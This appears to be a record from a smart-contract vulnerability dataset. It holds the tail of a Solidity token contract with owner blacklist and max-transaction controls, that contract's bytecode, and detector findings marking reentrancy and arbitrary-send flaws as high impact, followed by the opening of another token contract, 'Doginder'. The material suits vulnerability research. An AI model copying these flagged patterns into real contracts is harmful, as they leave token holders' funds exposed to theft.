uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e6b565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612972565b61045e565b6040516101789190612e50565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061300d565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061291f565b61048d565b6040516101e09190612e50565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612885565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613082565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129fb565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612885565b610783565b6040516102b1919061300d565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d82565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e6b565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612972565b61098d565b60405161035b9190612e50565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129b2565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a55565b61109c565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128df565b6111e5565b604051610418919061300d565b60405180910390f35b60606040518060400160405280600c81526020017f546f6b656e2042616c6c205a0000000000000000000000000000000000000000815250905090565b600061047261046b61126c565b8484611274565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461143f565b61055b846104a661126c565b6105568560405180606001604052806028815260200161378960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61126c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bfe9092919063ffffffff16565b611274565b600190509392505050565b61056e61126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f4d565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f4d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261126c565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c62565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5d565b9050919050565b6107dc61126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f54425af09f94ae00000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61126c565b848461143f565b6001905092915050565b6109b361126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f4d565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133ca565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613323565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661126c565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611dcb565b50565b610b5761126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f4d565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fcd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611274565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128b2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128b2565b6040518363ffffffff1660e01b8152600401610df9929190612d9d565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128b2565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612def565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a82565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611046929190612dc6565b602060405180830381600087803b15801561106057600080fd5b505af1158015611074573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110989190612a28565b5050565b6110a461126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112890612f4d565b60405180910390fd5b60008111611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b90612f0d565b60405180910390fd5b6111a3606461119583683635c9adc5dea0000061205390919063ffffffff16565b6120ce90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111da919061300d565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112db90612fad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134b90612ecd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611432919061300d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a690612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151690612e8d565b60405180910390fd5b60008111611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612f6d565b60405180910390fd5b61156a610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115d857506115a8610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b3b57600f60179054906101000a900460ff161561180b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116b45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561170e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561180a57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175461126c565b73ffffffffffffffffffffffffffffffffffffffff1614806117ca5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b261126c565b73ffffffffffffffffffffffffffffffffffffffff16145b611809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180090612fed565b60405180910390fd5b5b5b60105481111561181a57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118be5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118c757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119725750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119c85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e05750600f60179054906101000a900460ff165b15611a815742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3057600080fd5b603c42611a3d9190613143565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a8c30610783565b9050600f60159054906101000a900460ff16158015611af95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b115750600f60169054906101000a900460ff165b15611b3957611b1f81611dcb565b60004790506000811115611b3757611b3647611c62565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bec57600090505b611bf884848484612118565b50505050565b6000838311158290611c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3d9190612e6b565b60405180910390fd5b5060008385611c559190613224565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cb26002846120ce90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cdd573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d2e6002846120ce90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d59573d6000803e3d6000fd5b5050565b6000600654821115611da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9b90612ead565b60405180910390fd5b6000611dae612145565b9050611dc381846120ce90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0357611e026133f9565b5b604051908082528060200260200182016040528015611e315781602001602082028036833780820191505090505b5090503081600081518110611e4957611e486133ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eeb57600080fd5b505afa158015611eff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2391906128b2565b81600181518110611f3757611f366133ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f9e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611274565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612002959493929190613028565b600060405180830381600087803b15801561201c57600080fd5b505af1158015612030573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561206657600090506120c8565b6000828461207491906131ca565b90508284826120839190613199565b146120c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ba90612f2d565b60405180910390fd5b809150505b92915050565b600061211083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612170565b905092915050565b80612126576121256121d3565b5b612131848484612204565b8061213f5761213e6123cf565b5b50505050565b60008060006121526123e1565b9150915061216981836120ce90919063ffffffff16565b9250505090565b600080831182906121b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ae9190612e6b565b60405180910390fd5b50600083856121c69190613199565b9050809150509392505050565b60006008541480156121e757506000600954145b156121f157612202565b600060088190555060006009819055505b565b60008060008060008061221687612443565b95509550955095509550955061227486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235581612553565b61235f8483612610565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123bc919061300d565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea000009050612417683635c9adc5dea000006006546120ce90919063ffffffff16565b82101561243657600654683635c9adc5dea0000093509350505061243f565b81819350935050505b9091565b60008060008060008060008060006124608a60085460095461264a565b9250925092506000612470612145565b905060008060006124838e8787876126e0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bfe565b905092915050565b60008082846125049190613143565b905083811015612549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254090612eed565b60405180910390fd5b8091505092915050565b600061255d612145565b90506000612574828461205390919063ffffffff16565b90506125c881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612625826006546124ab90919063ffffffff16565b600681905550612640816007546124f590919063ffffffff16565b6007819055505050565b6000806000806126766064612668888a61205390919063ffffffff16565b6120ce90919063ffffffff16565b905060006126a06064612692888b61205390919063ffffffff16565b6120ce90919063ffffffff16565b905060006126c9826126bb858c6124ab90919063ffffffff16565b6124ab90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126f9858961205390919063ffffffff16565b90506000612710868961205390919063ffffffff16565b90506000612727878961205390919063ffffffff16565b905060006127508261274285876124ab90919063ffffffff16565b6124ab90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061277c612777846130c2565b61309d565b9050808382526020820190508285602086028201111561279f5761279e61342d565b5b60005b858110156127cf57816127b588826127d9565b8452602084019350602083019250506001810190506127a2565b5050509392505050565b6000813590506127e881613743565b92915050565b6000815190506127fd81613743565b92915050565b600082601f83011261281857612817613428565b5b8135612828848260208601612769565b91505092915050565b6000813590506128408161375a565b92915050565b6000815190506128558161375a565b92915050565b60008135905061286a81613771565b92915050565b60008151905061287f81613771565b92915050565b60006020828403121561289b5761289a613437565b5b60006128a9848285016127d9565b91505092915050565b6000602082840312156128c8576128c7613437565b5b60006128d6848285016127ee565b91505092915050565b600080604083850312156128f6576128f5613437565b5b6000612904858286016127d9565b9250506020612915858286016127d9565b9150509250929050565b60008060006060848603121561293857612937613437565b5b6000612946868287016127d9565b9350506020612957868287016127d9565b92505060406129688682870161285b565b9150509250925092565b6000806040838503121561298957612988613437565b5b6000612997858286016127d9565b92505060206129a88582860161285b565b9150509250929050565b6000602082840312156129c8576129c7613437565b5b600082013567ffffffffffffffff8111156129e6576129e5613432565b5b6129f284828501612803565b91505092915050565b600060208284031215612a1157612a10613437565b5b6000612a1f84828501612831565b91505092915050565b600060208284031215612a3e57612a3d613437565b5b6000612a4c84828501612846565b91505092915050565b600060208284031215612a6b57612a6a613437565b5b6000612a798482850161285b565b91505092915050565b600080600060608486031215612a9b57612a9a613437565b5b6000612aa986828701612870565b9350506020612aba86828701612870565b9250506040612acb86828701612870565b9150509250925092565b6000612ae18383612aed565b60208301905092915050565b612af681613258565b82525050565b612b0581613258565b82525050565b6000612b16826130fe565b612b208185613121565b9350612b2b836130ee565b8060005b83811015612b5c578151612b438882612ad5565b9750612b4e83613114565b925050600181019050612b2f565b5085935050505092915050565b612b728161326a565b82525050565b612b81816132ad565b82525050565b6000612b9282613109565b612b9c8185613132565b9350612bac8185602086016132bf565b612bb58161343c565b840191505092915050565b6000612bcd602383613132565b9150612bd88261344d565b604082019050919050565b6000612bf0602a83613132565b9150612bfb8261349c565b604082019050919050565b6000612c13602283613132565b9150612c1e826134eb565b604082019050919050565b6000612c36601b83613132565b9150612c418261353a565b602082019050919050565b6000612c59601d83613132565b9150612c6482613563565b602082019050919050565b6000612c7c602183613132565b9150612c878261358c565b604082019050919050565b6000612c9f602083613132565b9150612caa826135db565b602082019050919050565b6000612cc2602983613132565b9150612ccd82613604565b604082019050919050565b6000612ce5602583613132565b9150612cf082613653565b604082019050919050565b6000612d08602483613132565b9150612d13826136a2565b604082019050919050565b6000612d2b601783613132565b9150612d36826136f1565b602082019050919050565b6000612d4e601183613132565b9150612d598261371a565b602082019050919050565b612d6d81613296565b82525050565b612d7c816132a0565b82525050565b6000602082019050612d976000830184612afc565b92915050565b6000604082019050612db26000830185612afc565b612dbf6020830184612afc565b9392505050565b6000604082019050612ddb6000830185612afc565b612de86020830184612d64565b9392505050565b600060c082019050612e046000830189612afc565b612e116020830188612d64565b612e1e6040830187612b78565b612e2b6060830186612b78565b612e386080830185612afc565b612e4560a0830184612d64565b979650505050505050565b6000602082019050612e656000830184612b69565b92915050565b60006020820190508181036000830152612e858184612b87565b905092915050565b60006020820190508181036000830152612ea681612bc0565b9050919050565b60006020820190508181036000830152612ec681612be3565b9050919050565b60006020820190508181036000830152612ee681612c06565b9050919050565b60006020820190508181036000830152612f0681612c29565b9050919050565b60006020820190508181036000830152612f2681612c4c565b9050919050565b60006020820190508181036000830152612f4681612c6f565b9050919050565b60006020820190508181036000830152612f6681612c92565b9050919050565b60006020820190508181036000830152612f8681612cb5565b9050919050565b60006020820190508181036000830152612fa681612cd8565b9050919050565b60006020820190508181036000830152612fc681612cfb565b9050919050565b60006020820190508181036000830152612fe681612d1e565b9050919050565b6000602082019050818103600083015261300681612d41565b9050919050565b60006020820190506130226000830184612d64565b92915050565b600060a08201905061303d6000830188612d64565b61304a6020830187612b78565b818103604083015261305c8186612b0b565b905061306b6060830185612afc565b6130786080830184612d64565b9695505050505050565b60006020820190506130976000830184612d73565b92915050565b60006130a76130b8565b90506130b382826132f2565b919050565b6000604051905090565b600067ffffffffffffffff8211156130dd576130dc6133f9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314e82613296565b915061315983613296565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318e5761318d61336c565b5b828201905092915050565b60006131a482613296565b91506131af83613296565b9250826131bf576131be61339b565b5b828204905092915050565b60006131d582613296565b91506131e083613296565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132195761321861336c565b5b828202905092915050565b600061322f82613296565b915061323a83613296565b92508282101561324d5761324c61336c565b5b828203905092915050565b600061326382613276565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132b882613296565b9050919050565b60005b838110156132dd5780820151818401526020810190506132c2565b838111156132ec576000848401525b50505050565b6132fb8261343c565b810181811067ffffffffffffffff8211171561331a576133196133f9565b5b80604052505050565b600061332e82613296565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133615761336061336c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61374c81613258565b811461375757600080fd5b50565b6137638161326a565b811461376e57600080fd5b50565b61377a81613296565b811461378557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207e2c736626f535773539ea81e6be94b1339a6287c42b888db32483eaec799b6964736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,261 |
0x2648aac76c66b16557352f69553cdf37ba80d056
|
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
//Website - https://twitter.com/Dogindereth
//Twitter -
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Doginder is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doginder";
string private constant _symbol = "DOGINDER";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
